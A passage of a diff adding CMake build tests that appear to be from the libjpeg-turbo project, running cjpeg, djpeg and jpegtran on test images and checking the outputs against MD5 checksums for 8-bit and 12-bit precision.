foreach(subsamp 420 422) + set_tests_properties( + ${tjbench}-${libtype}-tile-${subsamp}m-${tile}x${tile}-cmp + PROPERTIES DEPENDS ${tjbench}-${libtype}-tilem) + endforeach() + endforeach() + + endforeach() + + endif() + + # These tests are carefully crafted to provide full coverage of as many of + # the underlying algorithms as possible (including all of the + # SIMD-accelerated ones.) + + macro(add_bittest PROG NAME ARGS OUTFILE INFILE MD5SUM) + if(${PROG} STREQUAL "cjpeg16") + set(ACTUAL_ARGS "${ARGS};-precision;16") + elseif(${PROG} STREQUAL "cjpeg12") + set(ACTUAL_ARGS "${ARGS};-precision;12") + else() + set(ACTUAL_ARGS ${ARGS}) + endif() + string(REGEX REPLACE "16" "" ACTUAL_PROG ${PROG}) + string(REGEX REPLACE "12" "" ACTUAL_PROG ${ACTUAL_PROG}) + add_test(NAME ${PROG}-${libtype}-${NAME} + COMMAND ${ACTUAL_PROG}${suffix} ${ACTUAL_ARGS} -outfile ${OUTFILE} + ${INFILE}) + add_test(NAME ${PROG}-${libtype}-${NAME}-cmp + COMMAND md5cmp ${MD5SUM} ${OUTFILE}) + set_tests_properties(${PROG}-${libtype}-${NAME}-cmp PROPERTIES + DEPENDS ${PROG}-${libtype}-${NAME}) + if(${ARGC} GREATER 6) + set(DEPENDS ${ARGN}) + set_tests_properties(${PROG}-${libtype}-${NAME} PROPERTIES + DEPENDS ${DEPENDS}) + endif() + endmacro() + + set(MD5_JPEG_LOSSLESS fe99437df4e9976fe5e841969242b208) + set(MD5_PPM_LOSSLESS 01d9642a2b8723fefebbe9cb074ccd02) + + # Lossless (all arguments other than -lossless and -restart should have no + # effect) + add_bittest(cjpeg16 lossless + "-lossless;4;-restart;1;-quality;1;-grayscale;-optimize;-dct;float;-smooth;100;-baseline;-qslots;1,0,0;-sample;1x2,3x4,2x1" + testout16_lossless.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_LOSSLESS}) + add_bittest(djpeg16 lossless + "-fast;-scale;1/8;-dct;float;-dither;none;-nosmooth;-onepass" + testout16_lossless.ppm testout16_lossless.jpg + ${MD5_PPM_LOSSLESS} cjpeg16-${libtype}-lossless) + + foreach(sample_bits 8 12) + + if(sample_bits EQUAL 12) + set(cjpeg cjpeg12) + set(djpeg djpeg12) + set(jpegtran jpegtran12) + set(testout testout12${suffix}) + + set(TESTORIG testorig12.jpg) + set(MD5_JPEG_RGB_ISLOW 9d7369207c520d37f2c1cbfcb82b2964) + set(MD5_JPEG_RGB_ISLOW2 e619791332a99813bdca9f56fd60f9f9) + set(MD5_PPM_RGB_ISLOW f3301d2219783b8b3d942b7239fa50c0) + set(MD5_JPEG_422_IFAST_OPT 7322e3bd2f127f7de4b40d4480ce60e4) + set(MD5_PPM_422_IFAST 79807fa552899e66a04708f533e16950) + set(MD5_JPEG_440_ISLOW e25c1912e38367be505a89c410c1c2d2) + set(MD5_PPM_440_ISLOW e7d2e26288870cfcb30f3114ad01e380) + set(MD5_PPM_422M_IFAST 07737bfe8a7c1c87aaa393a0098d16b0) + set(MD5_JPEG_420_IFAST_Q100_PROG 9447cef4803d9b0f74bcf333cc710a29) + set(MD5_PPM_420_Q100_IFAST 1b3730122709f53d007255e8dfd3305e) + set(MD5_PPM_420M_Q100_IFAST 980a1a3c5bf9510022869d30b7d26566) + set(MD5_JPEG_GRAY_ISLOW 235c90707b16e2e069f37c888b2636d9) + set(MD5_PPM_GRAY_ISLOW 7213c10af507ad467da5578ca5ee1fca) + set(MD5_PPM_GRAY_ISLOW_RGB e96ee81c30a6ed422d466338bd3de65d) + set(MD5_JPEG_420S_IFAST_OPT 7af8e60be4d9c227ec63ac9b6630855e) + + set(MD5_JPEG_3x2_FLOAT_PROG_SSE a8c17daf77b457725ec929e215b603f8) + set(MD5_PPM_3x2_FLOAT_SSE 42876ab9e5c2f76a87d08db5fbd57956) + set(MD5_JPEG_3x2_FLOAT_PROG_NO_FP_CONTRACT + a8c17daf77b457725ec929e215b603f8) + set(MD5_PPM_3x2_FLOAT_NO_FP_CONTRACT ${MD5_PPM_3x2_FLOAT_SSE}) + set(MD5_JPEG_3x2_FLOAT_PROG_FP_CONTRACT + ${MD5_JPEG_3x2_FLOAT_PROG_NO_FP_CONTRACT}) + if(CMAKE_C_COMPILER_ID MATCHES "Clang") + set(MD5_PPM_3x2_FLOAT_FP_CONTRACT 2da9de6ae869e88b8372de815d366b03) + else() + set(MD5_PPM_3x2_FLOAT_FP_CONTRACT ${MD5_PPM_3x2_FLOAT_SSE}) + endif() + set(MD5_JPEG_3x2_FLOAT_PROG_387 bc6dbbefac2872f6b9d6c4a0ae60c3c0) + set(MD5_PPM_3x2_FLOAT_387 bcc5723c61560463ac60f772e742d092) + set(MD5_JPEG_3x2_FLOAT_PROG_MSVC e27840755870fa849872e58aa0cd1400) + set(MD5_PPM_3x2_FLOAT_MSVC 6c2880b83bb1aa41dfe330e7a9768690) + + set(MD5_JPEG_3x2_IFAST_PROG 1396cc2b7185cfe943d408c9d305339e) + set(MD5_PPM_3x2_IFAST 3975985ef6eeb0a2cdc58daa651ccc00) + set(MD5_PPM_420M_ISLOW_2_1 4ca6be2a6f326ff9eaab63e70a8259c0) + set(MD5_PPM_420M_ISLOW_15_8 12aa9f9534c1b3d7ba047322226365eb) + set(MD5_PPM_420M_ISLOW_13_8 f7e22817c7b25e1393e4ec101e9d4e96) + set(MD5_PPM_420M_ISLOW_11_8 800a16f9f4dc9b293197bfe11be10a82) + set(MD5_PPM_420M_ISLOW_9_8 06b7a92a9bc69f4dc36ec40f1937d55c) + set(MD5_PPM_420M_ISLOW_7_8 3ec444a14a4ab4eab88ffc49c48eca43) + set(MD5_PPM_420M_ISLOW_3_4 3e726b7ea872445b19437d1c1d4f0d93) + set(MD5_PPM_420M_ISLOW_5_8 a8a771abdc94301d20ffac119b2caccd) + set(MD5_PPM_420M_ISLOW_1_2 b419124dd5568b085787234866102866) + set(MD5_PPM_420M_ISLOW_3_8 343d19015531b7bbe746124127244fa8) + set(MD5_PPM_420M_ISLOW_1_4 35fd59d866e44659edfa3c18db2a3edb) + set(MD5_PPM_420M_ISLOW_1_8 ccaed48ac0aedefda5d4abe4013f4ad7) + set(MD5_JPEG_LOSSLESS 8473501f5bb7c826524472c858bf4fcd) + set(MD5_PPM_LOSSLESS 1da3fb2620e5a4e258e0fcb891bc67e8) + set(MD5_PPM_420_ISLOW_SKIP15_31 86664cd9dc956536409e44e244d20a97) + set(MD5_PPM_420_ISLOW_PROG_CROP62x62_71_71 + 452a21656115a163029cfba5c04fa76a) + set(MD5_PPM_444_ISLOW_SKIP1_6 ef63901f71ef7a75cd78253fc0914f84) + set(MD5_PPM_444_ISLOW_PROG_CROP98x98_13_13 + 15b173fb5872d9575572fbcc1b05956f) + set(MD5_JPEG_CROP cdb35ff4b4519392690ea040c56ea99c) + + set(MD5_JPEG_EXAMPLE_COMPRESS 5e502da0c3c0f957a58c536f31e973dc) + set(MD5_PPM_EXAMPLE_DECOMPRESS 70194fdcb73370ee7ba0db868d0c6fc8) + else() + set(cjpeg cjpeg) + set(djpeg djpeg) + set(jpegtran jpegtran) + set(testout testout${suffix}) + + set(TESTORIG testorig.jpg) + set(MD5_JPEG_RGB_ISLOW 1d44a406f61da743b5fd31c0a9abdca3) + set(MD5_JPEG_RGB_ISLOW2 b811e5ad807beb9384e51ef6a47f715d) + set(MD5_PPM_RGB_ISLOW 00a257f5393fef8821f2b88ac7421291) + set(MD5_BMP_RGB_ISLOW_565 f07d2e75073e4bb10f6c6f4d36e2e3be) + set(MD5_BMP_RGB_ISLOW_565D 4cfa0928ef3e6bb626d7728c924cfda4) + set(MD5_JPEG_422_IFAST_OPT 2540287b79d913f91665e660303ab2c8) + set(MD5_PPM_422_IFAST 35bd6b3f833bad23de82acea847129fa) + set(MD5_JPEG_440_ISLOW 538bc02bd4b4658fd85de6ece6cbeda6) + set(MD5_PPM_440_ISLOW 11e7eab7ef7ef3276934bb7e7b6bb377) + set(MD5_PPM_422M_IFAST 8dbc65323d62cca7c91ba02dd1cfa81d) + set(MD5_BMP_422M_IFAST_565 3294bd4d9a1f2b3d08ea6020d0db7065) + set(MD5_BMP_422M_IFAST_565D da98c9c7b6039511be4a79a878a9abc1) + set(MD5_JPEG_420_IFAST_Q100_PROG 0ba15f9dab81a703505f835f9dbbac6d) + set(MD5_PPM_420_Q100_IFAST 5a732542015c278ff43635e473a8a294) + set(MD5_PPM_420M_Q100_IFAST ff692ee9323a3b424894862557c092f1) + set(MD5_JPEG_GRAY_ISLOW 72b51f894b8f4a10b3ee3066770aa38d) + set(MD5_PPM_GRAY_ISLOW 8d3596c56eace32f205deccc229aa5ed) + set(MD5_PPM_GRAY_ISLOW_RGB 116424ac07b79e5e801f00508eab48ec) + set(MD5_BMP_GRAY_ISLOW_565 12f78118e56a2f48b966f792fedf23cc) + set(MD5_BMP_GRAY_ISLOW_565D bdbbd616441a24354c98553df5dc82db) + set(MD5_JPEG_420S_IFAST_OPT 388708217ac46273ca33086b22827ed8) + + set(MD5_JPEG_3x2_FLOAT_PROG_SSE 343e3f8caf8af5986ebaf0bdc13b5c71) + set(MD5_PPM_3x2_FLOAT_SSE 1a75f36e5904d6fc3a85a43da9ad89bb) + set(MD5_JPEG_3x2_FLOAT_PROG_NO_FP_CONTRACT + 9bca803d2042bd1eb03819e2bf92b3e5) + set(MD5_PPM_3x2_FLOAT_NO_FP_CONTRACT f6bfab038438ed8f5522fbd33595dcdc) + set(MD5_JPEG_3x2_FLOAT_PROG_FP_CONTRACT + ${MD5_JPEG_3x2_FLOAT_PROG_NO_FP_CONTRACT}) + if(CMAKE_C_COMPILER_ID MATCHES "Clang") + set(MD5_PPM_3x2_FLOAT_FP_CONTRACT ${MD5_PPM_3x2_FLOAT_NO_FP_CONTRACT}) + else() + set(MD5_PPM_3x2_FLOAT_FP_CONTRACT 0e917a34193ef976b679a6b069b1be26) + endif() + set(MD5_JPEG_3x2_FLOAT_PROG_387 1657664a410e0822c924b54f6f65e6e9) + set(MD5_PPM_3x2_FLOAT_387 cb0a1f027f3d2917c902b5640214e025) + set(MD5_JPEG_3x2_FLOAT_PROG_MSVC 7999ce9cd0ee9b6c7043b7351ab7639d) + set(MD5_PPM_3x2_FLOAT_MSVC 28cdc448a6b75e97892f0e0f8d4b21f3) + + set(MD5_JPEG_3x2_IFAST_PROG 1ee5d2c1a77f2da495f993c8c7cceca5) + set(MD5_PPM_3x2_IFAST fd283664b3b49127984af0a7f118fccd) + set(MD5_JPEG_420_ISLOW_ARI e986fb0a637a8d833d96e8a6d6d84ea1) + set(MD5_JPEG_444_ISLOW_PROGARI 0a8f1c8f66e113c3cf635df0a475a617) + set(MD5_PPM_420M_IFAST_ARI 57251da28a35b46eecb7177d82d10e0e) + set(MD5_JPEG_420_ISLOW 9a68f56bc76e466aa7e52f415d0f4a5f) + set(MD5_PPM_420M_ISLOW_2_1 9f9de8c0612f8d06869b960b05abf9c9) + set(MD5_PPM_420M_ISLOW_15_8 b6875bc070720b899566cc06459b63b7) + set(MD5_PPM_420M_ISLOW_13_8 bc3452573c8152f6ae552939ee19f82f) + set(MD5_PPM_420M_ISLOW_11_8 d8cc73c0aaacd4556569b59437ba00a5) + set(MD5_PPM_420M_ISLOW_9_8 d25e61bc7eac0002f5b393aa223747b6) + set(MD5_PPM_420M_ISLOW_7_8 ddb564b7c74a09494016d6cd7502a946) + set(MD5_PPM_420M_ISLOW_3_4 8ed8e68808c3fbc4ea764fc9d2968646) + set(MD5_PPM_420M_ISLOW_5_8 a3363274999da2366a024efae6d16c9b) + set(MD5_PPM_420M_ISLOW_1_2 e692a315cea26b988c8e8b29a5dbcd81) + set(MD5_PPM_420M_ISLOW_3_8 79eca9175652ced755155c90e785a996) + set(MD5_PPM_420M_ISLOW_1_4 79cd778f8bf1a117690052cacdd54eca) + set(MD5_PPM_420M_ISLOW_1_8 391b3d4aca640c8567d6f8745eb2142f) + set(MD5_BMP_420_ISLOW_256 4980185e3776e89bd931736e1cddeee6) + set(MD5_BMP_420_ISLOW_565 bf9d13e16c4923b92e1faa604d7922cb) + set(MD5_BMP_420_ISLOW_565D 6bde71526acc44bcff76f696df8638d2) + set(MD5_BMP_420M_ISLOW_565 8dc0185245353cfa32ad97027342216f) + set(MD5_BMP_420M_ISLOW_565D ce034037d212bc403330df6f915c161b) + set(MD5_JPEG_LOSSLESS fc777b82d42d835ae1282ba1ee87c209) + set(MD5_PPM_LOSSLESS 64072f1dbdc5b3a187777788604971a5) + set(MD5_PPM_420_ISLOW_SKIP15_31 c4c65c1e43d7275cd50328a61e6534f0) + set(MD5_PPM_420_ISLOW_ARI_SKIP16_139 087c6b123db16ac00cb88c5b590bb74a) + set(MD5_PPM_420_ISLOW_PROG_CROP62x62_71_71 + 26eb36ccc7d1f0cb80cdabb0ac8b5d99) + set(MD5_PPM_420_ISLOW_ARI_CROP53x53_4_4 886c6775af22370257122f8b16207e6d) + set(MD5_PPM_444_ISLOW_SKIP1_6 5606f86874cf26b8fcee1117a0a436a6) + set(MD5_PPM_444_ISLOW_PROG_CROP98x98_13_13 + db87dc7ce26bcdc7a6b56239ce2b9d6c) + set(MD5_PPM_444_ISLOW_ARI_CROP37x37_0_0 cb57b32bd6d03e35432362f7bf184b6d) + set(MD5_JPEG_CROP b4197f377e621c4e9b1d20471432610d) + + set(MD5_JPEG_EXAMPLE_COMPRESS 95d4d72e2ef127332654c2599afb47bf) + set(MD5_PPM_EXAMPLE_DECOMPRESS dea1d7bbc37e39adf628342c86096641) + endif() + + # CC: null SAMP: fullsize FDCT: islow ENT: huff + add_bittest(${cjpeg} rgb-islow "-rgb;-dct;int;-icc;${TESTIMAGES}/test1.icc" + ${testout}_rgb_islow.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_RGB_ISLOW}) + + # CC: null SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} rgb-islow + "-dct;int;-ppm;-icc;${testout}_rgb_islow.icc" + ${testout}_rgb_islow.ppm ${testout}_rgb_islow.jpg + ${MD5_PPM_RGB_ISLOW} ${cjpeg}-${libtype}-rgb-islow) + + add_test(NAME ${djpeg}-${libtype}-rgb-islow-icc-cmp + COMMAND md5cmp b06a39d730129122e85c1363ed1bbc9e ${testout}_rgb_islow.icc) + set_tests_properties(${djpeg}-${libtype}-rgb-islow-icc-cmp PROPERTIES + DEPENDS ${djpeg}-${libtype}-rgb-islow) + + add_bittest(${jpegtran} icc "-copy;all;-icc;${TESTIMAGES}/test3.icc" + ${testout}_rgb_islow2.jpg ${testout}_rgb_islow.jpg + ${MD5_JPEG_RGB_ISLOW2} ${cjpeg}-${libtype}-rgb-islow) + + if(sample_bits EQUAL 8) + # CC: RGB->RGB565 SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} rgb-islow-565 "-dct;int;-rgb565;-dither;none;-bmp" + ${testout}_rgb_islow_565.bmp ${testout}_rgb_islow.jpg + ${MD5_BMP_RGB_ISLOW_565} ${cjpeg}-${libtype}-rgb-islow) + + # CC: RGB->RGB565 (dithered) SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} rgb-islow-565D "-dct;int;-rgb565;-bmp" + ${testout}_rgb_islow_565D.bmp ${testout}_rgb_islow.jpg + ${MD5_BMP_RGB_ISLOW_565D} ${cjpeg}-${libtype}-rgb-islow) + endif() + + # CC: RGB->YCC SAMP: fullsize/h2v1 FDCT: ifast ENT: 2-pass huff + add_bittest(${cjpeg} 422-ifast-opt "-sample;2x1;-dct;fast;-opt" + ${testout}_422_ifast_opt.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_422_IFAST_OPT}) + + # CC: YCC->RGB SAMP: fullsize/h2v1 fancy IDCT: ifast ENT: huff + add_bittest(${djpeg} 422-ifast "-dct;fast" + ${testout}_422_ifast.ppm ${testout}_422_ifast_opt.jpg + ${MD5_PPM_422_IFAST} ${cjpeg}-${libtype}-422-ifast-opt) + + # CC: RGB->YCC SAMP: fullsize/h1v2 FDCT: islow ENT: huff + add_bittest(${cjpeg} 440-islow "-sample;1x2;-dct;int" + ${testout}_440_islow.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_440_ISLOW}) + + # CC: YCC->RGB SAMP: fullsize/h1v2 fancy IDCT: islow ENT: huff + add_bittest(${djpeg} 440-islow "-dct;int" + ${testout}_440_islow.ppm ${testout}_440_islow.jpg + ${MD5_PPM_440_ISLOW} ${cjpeg}-${libtype}-440-islow) + + # CC: YCC->RGB SAMP: h2v1 merged IDCT: ifast ENT: huff + add_bittest(${djpeg} 422m-ifast "-dct;fast;-nosmooth" + ${testout}_422m_ifast.ppm ${testout}_422_ifast_opt.jpg + ${MD5_PPM_422M_IFAST} ${cjpeg}-${libtype}-422-ifast-opt) + + if(sample_bits EQUAL 8) + # CC: YCC->RGB565 SAMP: h2v1 merged IDCT: ifast ENT: huff + add_bittest(${djpeg} 422m-ifast-565 + "-dct;int;-nosmooth;-rgb565;-dither;none;-bmp" + ${testout}_422m_ifast_565.bmp ${testout}_422_ifast_opt.jpg + ${MD5_BMP_422M_IFAST_565} ${cjpeg}-${libtype}-422-ifast-opt) + + # CC: YCC->RGB565 (dithered) SAMP: h2v1 merged IDCT: ifast ENT: huff + add_bittest(${djpeg} 422m-ifast-565D "-dct;int;-nosmooth;-rgb565;-bmp" + ${testout}_422m_ifast_565D.bmp ${testout}_422_ifast_opt.jpg + ${MD5_BMP_422M_IFAST_565D} ${cjpeg}-${libtype}-422-ifast-opt) + endif() + + # CC: RGB->YCC SAMP: fullsize/h2v2 FDCT: ifast ENT: prog huff + add_bittest(${cjpeg} 420-q100-ifast-prog + "-sample;2x2;-quality;100;-dct;fast;-scans;${TESTIMAGES}/test.scan" + ${testout}_420_q100_ifast_prog.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_420_IFAST_Q100_PROG}) + + # CC: YCC->RGB SAMP: fullsize/h2v2 fancy IDCT: ifast ENT: prog huff + add_bittest(${djpeg} 420-q100-ifast-prog "-dct;fast" + ${testout}_420_q100_ifast.ppm ${testout}_420_q100_ifast_prog.jpg + ${MD5_PPM_420_Q100_IFAST} ${cjpeg}-${libtype}-420-q100-ifast-prog) + + # CC: YCC->RGB SAMP: h2v2 merged IDCT: ifast ENT: prog huff + add_bittest(${djpeg} 420m-q100-ifast-prog "-dct;fast;-nosmooth" + ${testout}_420m_q100_ifast.ppm ${testout}_420_q100_ifast_prog.jpg + ${MD5_PPM_420M_Q100_IFAST} ${cjpeg}-${libtype}-420-q100-ifast-prog) + + # CC: RGB->Gray SAMP: fullsize FDCT: islow ENT: huff + add_bittest(${cjpeg} gray-islow "-gray;-dct;int" + ${testout}_gray_islow.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_GRAY_ISLOW}) + + # CC: Gray->Gray SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} gray-islow "-dct;int" + ${testout}_gray_islow.ppm ${testout}_gray_islow.jpg + ${MD5_PPM_GRAY_ISLOW} ${cjpeg}-${libtype}-gray-islow) + + # CC: Gray->RGB SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} gray-islow-rgb "-dct;int;-rgb" + ${testout}_gray_islow_rgb.ppm ${testout}_gray_islow.jpg + ${MD5_PPM_GRAY_ISLOW_RGB} ${cjpeg}-${libtype}-gray-islow) + + if(sample_bits EQUAL 8) + # CC: Gray->RGB565 SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} gray-islow-565 "-dct;int;-rgb565;-dither;none;-bmp" + ${testout}_gray_islow_565.bmp ${testout}_gray_islow.jpg + ${MD5_BMP_GRAY_ISLOW_565} ${cjpeg}-${libtype}-gray-islow) + + # CC: Gray->RGB565 (dithered) SAMP: fullsize IDCT: islow ENT: huff + add_bittest(${djpeg} gray-islow-565D "-dct;int;-rgb565;-bmp" + ${testout}_gray_islow_565D.bmp ${testout}_gray_islow.jpg + ${MD5_BMP_GRAY_ISLOW_565D} ${cjpeg}-${libtype}-gray-islow) + endif() + + # CC: RGB->YCC SAMP: fullsize smooth/h2v2 smooth FDCT: islow + # ENT: 2-pass huff + add_bittest(${cjpeg} 420s-ifast-opt "-sample;2x2;-smooth;1;-dct;int;-opt" + ${testout}_420s_ifast_opt.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_420S_IFAST_OPT}) + + if(FLOATTEST${sample_bits}) + # CC: RGB->YCC SAMP: fullsize/int FDCT: float ENT: prog huff + add_bittest(${cjpeg} 3x2-float-prog "-sample;3x2;-dct;float;-prog" + ${testout}_3x2_float_prog.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_3x2_FLOAT_PROG_${FLOATTEST${sample_bits}_UC}}) + + # CC: YCC->RGB SAMP: fullsize/int IDCT: float ENT: prog huff + add_bittest(${djpeg} 3x2-float-prog "-dct;float" + ${testout}_3x2_float.ppm ${testout}_3x2_float_prog.jpg + ${MD5_PPM_3x2_FLOAT_${FLOATTEST${sample_bits}_UC}} + ${cjpeg}-${libtype}-3x2-float-prog) + endif() + + # CC: RGB->YCC SAMP: fullsize/int FDCT: ifast ENT: prog huff + add_bittest(${cjpeg} 3x2-ifast-prog "-sample;3x2;-dct;fast;-prog" + ${testout}_3x2_ifast_prog.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_3x2_IFAST_PROG}) + + # CC: YCC->RGB SAMP: fullsize/int IDCT: ifast ENT: prog huff + add_bittest(${djpeg} 3x2-ifast-prog "-dct;fast" + ${testout}_3x2_ifast.ppm ${testout}_3x2_ifast_prog.jpg + ${MD5_PPM_3x2_IFAST} ${cjpeg}-${libtype}-3x2-ifast-prog) + + if(WITH_ARITH_ENC AND sample_bits EQUAL 8) + # CC: YCC->RGB SAMP: fullsize/h2v2 FDCT: islow ENT: arith + add_bittest(${cjpeg} 420-islow-ari "-dct;int;-arithmetic" + ${testout}_420_islow_ari.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_420_ISLOW_ARI}) + + add_bittest(${jpegtran} 420-islow-ari "-arithmetic" + ${testout}_420_islow_ari2.jpg ${TESTIMAGES}/testimgint.jpg + ${MD5_JPEG_420_ISLOW_ARI}) + + # CC: YCC->RGB SAMP: fullsize FDCT: islow ENT: prog arith + add_bittest(${cjpeg} 444-islow-progari + "-sample;1x1;-dct;int;-prog;-arithmetic" + ${testout}_444_islow_progari.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_444_ISLOW_PROGARI}) + endif() + + if(WITH_ARITH_DEC AND sample_bits EQUAL 8) + # CC: RGB->YCC SAMP: h2v2 merged IDCT: ifast ENT: arith + add_bittest(${djpeg} 420m-ifast-ari "-fast;-skip;1,20;-ppm" + ${testout}_420m_ifast_ari.ppm ${TESTIMAGES}/testimgari.jpg + ${MD5_PPM_420M_IFAST_ARI}) + + add_bittest(${jpegtran} 420-islow "" + ${testout}_420_islow.jpg ${TESTIMAGES}/testimgari.jpg + ${MD5_JPEG_420_ISLOW}) + endif() + + # 2/1-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 16x16 islow ENT: huff + # 15/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 15x15 islow ENT: huff + # 13/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 13x13 islow ENT: huff + # 11/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 11x11 islow ENT: huff + # 9/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 9x9 islow ENT: huff + # 7/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 7x7 islow/14x14 islow + # ENT: huff + # 3/4-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 6x6 islow/12x12 islow + # ENT: huff + # 5/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 5x5 islow/10x10 islow + # ENT: huff + # 1/2-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 4x4 islow/8x8 islow + # ENT: huff + # 3/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 3x3 islow/6x6 islow + # ENT: huff + # 1/4-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 2x2 islow/4x4 islow + # ENT: huff + # 1/8-- CC: YCC->RGB SAMP: h2v2 merged IDCT: 1x1 islow/2x2 islow + # ENT: huff + foreach(scale 2_1 15_8 13_8 11_8 9_8 7_8 3_4 5_8 1_2 3_8 1_4 1_8) + string(REGEX REPLACE "_" "/" scalearg ${scale}) + add_bittest(${djpeg} 420m-islow-${scale} + "-dct;int;-scale;${scalearg};-nosmooth;-ppm" + ${testout}_420m_islow_${scale}.ppm ${TESTIMAGES}/${TESTORIG} + ${MD5_PPM_420M_ISLOW_${scale}}) + endforeach() + + if(sample_bits EQUAL 8) + # CC: YCC->RGB (dithered) SAMP: h2v2 fancy IDCT: islow ENT: huff + add_bittest(${djpeg} 420-islow-256 "-dct;int;-colors;256;-bmp" + ${testout}_420_islow_256.bmp ${TESTIMAGES}/${TESTORIG} + ${MD5_BMP_420_ISLOW_256}) + + # CC: YCC->RGB565 SAMP: h2v2 fancy IDCT: islow ENT: huff + add_bittest(${djpeg} 420-islow-565 "-dct;int;-rgb565;-dither;none;-bmp" + ${testout}_420_islow_565.bmp ${TESTIMAGES}/${TESTORIG} + ${MD5_BMP_420_ISLOW_565}) + + # CC: YCC->RGB565 (dithered) SAMP: h2v2 fancy IDCT: islow ENT: huff + add_bittest(${djpeg} 420-islow-565D "-dct;int;-rgb565;-bmp" + ${testout}_420_islow_565D.bmp ${TESTIMAGES}/${TESTORIG} + ${MD5_BMP_420_ISLOW_565D}) + + # CC: YCC->RGB565 SAMP: h2v2 merged IDCT: islow ENT: huff + add_bittest(${djpeg} 420m-islow-565 + "-dct;int;-nosmooth;-rgb565;-dither;none;-bmp" + ${testout}_420m_islow_565.bmp ${TESTIMAGES}/${TESTORIG} + ${MD5_BMP_420M_ISLOW_565}) + + # CC: YCC->RGB565 (dithered) SAMP: h2v2 merged IDCT: islow ENT: huff + add_bittest(${djpeg} 420m-islow-565D "-dct;int;-nosmooth;-rgb565;-bmp" + ${testout}_420m_islow_565D.bmp ${TESTIMAGES}/${TESTORIG} + ${MD5_BMP_420M_ISLOW_565D}) + endif() + + # Lossless (all arguments other than -lossless and -restart should have no + # effect) + add_bittest(${cjpeg} lossless + "-lossless;4;-restart;1;-quality;1;-grayscale;-optimize;-dct;float;-smooth;100;-baseline;-qslots;1,0,0;-sample;1x2,3x4,2x1" + ${testout}_lossless.jpg ${TESTIMAGES}/testorig.ppm + ${MD5_JPEG_LOSSLESS}) + add_bittest(${djpeg} lossless + "-fast;-scale;1/8;-dct;float;-dither;none;-nosmooth;-onepass" + ${testout}_lossless.ppm ${testout}_lossless.jpg + ${MD5_PPM_LOSSLESS} ${cjpeg}-${libtype}-lossless) + + # Partial decode tests. These tests are designed to cover all of the + # possible code paths in jpeg_skip_scanlines(). + + # Context rows: Yes Intra-iMCU row: Yes iMCU row prefetch: No + # ENT: huff + add_bittest(${djpeg} 420-islow-skip15_31 "-dct;int;-skip;15,31;-ppm" + ${testout}_420_islow_skip15,31.ppm ${TESTIMAGES}/${TESTORIG} + ${MD5_PPM_420_ISLOW_SKIP15_31}) + + # Context rows: Yes Intra-iMCU row: No iMCU row prefetch: Yes + # ENT: arith + if(WITH_ARITH_DEC AND sample_bits EQUAL 8) + add_bittest(${djpeg} 420-islow-ari-skip16_139 + "-dct;int;-skip;16,139;-ppm" + ${testout}_420_islow_ari_skip16,139.ppm ${TESTIMAGES}/testimgari.jpg + ${MD5_PPM_420_ISLOW_ARI_SKIP16_139}) + endif() + + # Context rows: Yes Intra-iMCU row: No iMCU row prefetch: No + # ENT: prog huff + add_test(NAME ${cjpeg}-${libtype}-420-islow-prog + COMMAND cjpeg${suffix} -dct int -prog -precision ${sample_bits} + -outfile ${testout}_420_islow_prog.jpg ${TESTIMAGES}/testorig.ppm) + add_bittest(${djpeg} 420-islow-prog-crop62x62_71_71 + "-dct;int;-crop;62x62+71+71;-ppm" + ${testout}_420_islow_prog_crop62x62,71,71.ppm + ${testout}_420_islow_prog.jpg ${MD5_PPM_420_ISLOW_PROG_CROP62x62_71_71} + ${cjpeg}-${libtype}-420-islow-prog) + + # Context rows: Yes Intra-iMCU row: No iMCU row prefetch: No + # ENT: arith + if(WITH_ARITH_DEC AND sample_bits EQUAL 8) + add_bittest(${djpeg} 420-islow-ari-crop53x53_4_4 + "-dct;int;-crop;53x53+4+4;-ppm" + ${testout}_420_islow_ari_crop53x53,4,4.ppm ${TESTIMAGES}/testimgari.jpg + ${MD5_PPM_420_ISLOW_ARI_CROP53x53_4_4}) + endif() + + # Context rows: No Intra-iMCU row: Yes ENT: huff + add_test(NAME ${cjpeg}-${libtype}-444-islow + COMMAND cjpeg${suffix} -dct int -sample 1x1 -precision ${sample_bits} + -outfile ${testout}_444_islow.jpg ${TESTIMAGES}/testorig.ppm) + add_bittest(${djpeg} 444-islow-skip1_6 "-dct;int;-skip;1,6;-ppm" + ${testout}_444_islow_skip1,6.ppm ${testout}_444_islow.jpg + ${MD5_PPM_444_ISLOW_SKIP1_6} ${cjpeg}-${libtype}-444-islow) + + # Context rows: No Intra-iMCU row: No ENT: prog huff + add_test(NAME ${cjpeg}-${libtype}-444-islow-prog + COMMAND cjpeg${suffix} -dct int -prog -precision ${sample_bits} + -sample 1x1 -outfile ${testout}_444_islow_prog.jpg + ${TESTIMAGES}/testorig.ppm) + add_bittest(${djpeg} 444-islow-prog-crop98x98_13_13 + "-dct;int;-crop;98x98+13+13;-ppm" + ${testout}_444_islow_prog_crop98x98,13,13.ppm + ${testout}_444_islow_prog.jpg 